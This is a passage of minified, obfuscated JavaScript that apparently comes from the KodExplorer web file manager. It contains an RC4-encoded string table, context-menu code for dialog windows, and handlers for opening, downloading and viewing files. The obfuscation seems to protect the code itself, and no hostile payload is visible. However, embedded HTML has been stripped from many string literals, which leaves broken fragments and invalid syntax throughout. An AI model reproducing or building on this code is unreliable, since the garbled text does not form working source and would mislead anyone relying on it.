nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var _0x5d7688=$(_0x1ed64f)[_kod_0x46d5('0x7c','w@%x')](),_0x53bb5a=_0x31f62f||d,_0x48f6a4=_0xbdb30f['$menu'][_kod_0x46d5('0x7d','J]Hl')](_0x53bb5a)[_kod_0x46d5('0x7e','6D#W')]();_0x326a5b[_kod_0x46d5('0x7f','8JG7')](0x0,_0x48f6a4[_kod_0x46d5('0x80','ZNFv')])&&_0xbdb30f[_kod_0x46d5('0x81',')b(p')][_0x53bb5a]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x82',')T(f')][_0x53bb5a][_kod_0x46d5('0x83','tepW')]),0x0==_0x48f6a4[_kod_0x46d5('0x84','zjue')]&&(_0x48f6a4=_0xbdb30f[_kod_0x46d5('0x85',')Cl!')][_kod_0x46d5('0x86','Svi#')]()['last']()),_0x31f62f?_0x48f6a4['after'](_0x5d7688):d&&_0x48f6a4[_kod_0x46d5('0x87','(26G')](_0x5d7688);var _0x31ae2a=_0x5d7688[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))[_kod_0x46d5('0x8a',')b(p')](_kod_0x46d5('0x8b',')Zq2'));_0x5d7688[_kod_0x46d5('0x39','#I7Z')]({'contextMenu':_0x31ae2a,'contextMenuKey':_0x6929fc,'contextMenuRoot':e});var _0x4c794c={};_0x4c794c[_kod_0x46d5('0x8c','w@%x')]=null;_0x4c794c[_kod_0x46d5('0x8d','Svi#')]=null;_0x4c794c[_kod_0x46d5('0x8e',')Zq2')]=f.accesskey;_0x4c794c['className']=f.className;_0x4c794c[_kod_0x46d5('0x8f',')Cl!')]=f.icon;_0x4c794c[_kod_0x46d5('0x90','A[bK')]=f.name;_0x4c794c[_kod_0x46d5('0x91','ZNFv')]=_0x483f12;_0x4c794c[_kod_0x46d5('0x5a','coI9')]=_0x5d7688;if(_0x31ae2a&&(_0x31ae2a[_kod_0x46d5('0x55','Svi#')]||(_0x31ae2a[_kod_0x46d5('0x92','Tg#C')]={}),_0x31ae2a[_kod_0x46d5('0x93','h*gi')][_0x6929fc]=_0x4c794c),_0x326a5b['YraqM']!=typeof f&&(_0xbdb30f[_kod_0x46d5('0x94','KCJX')]||(_0xbdb30f[_kod_0x46d5('0x95','KaAL')]={}),_0xbdb30f['commands'][_0x6929fc]=_0x4c794c,e['commands'][_0x6929fc]=_0x4c794c,e[_kod_0x46d5('0x96','#bfE')][_0x6929fc]=function(_0x337020,_0x3bccb4){f[_kod_0x46d5('0x97','KaAL')](_0x337020,_0x3bccb4);},f[_kod_0x46d5('0x98','ZNFv')]&&(e[_kod_0x46d5('0x99','gz7W')][f[_kod_0x46d5('0x8e',')Zq2')]]=_0x4c794c),f['items'])){var _0x485b5f=_0x6929fc+'-first-item',_0x1ed64f=_0x326a5b['Cngaj']+_0x6929fc+_kod_0x46d5('0x9a','L)pg')+_0x485b5f+'\x22>\x09\x09\x09\x09\x09';$(_0x1ed64f)['appendTo'](_0x5d7688),_0x4c794c['$menu']=_0x5d7688[_kod_0x46d5('0x3d','6D#W')](_0x326a5b['BfqaK'](_kod_0x46d5('0x9b',')Cl!'),_0x6929fc)),_0x4c794c[_kod_0x46d5('0x9c',']y0&')]=null,_0x4c794c[_kod_0x46d5('0x9d','A[bK')]=_0x4c794c[_kod_0x46d5('0x9e','(i@T')],_0x4c794c[_kod_0x46d5('0x9f','h*gi')]='sub',_0x5d7688[_kod_0x46d5('0xa0','L)pg')](_kod_0x46d5('0xa1','Svi#'),_0x4c794c)[_kod_0x46d5('0xa2','Tg#C')](_kod_0x46d5('0xa3','srTF')),_0x5d7688['find'](_0x326a5b[_kod_0x46d5('0xa4','&q8#')](_kod_0x46d5('0xa5','coI9'),_0x6929fc))[_kod_0x46d5('0x8a',')b(p')]({'contextMenuRoot':e,'contextMenu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+'
        )');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void 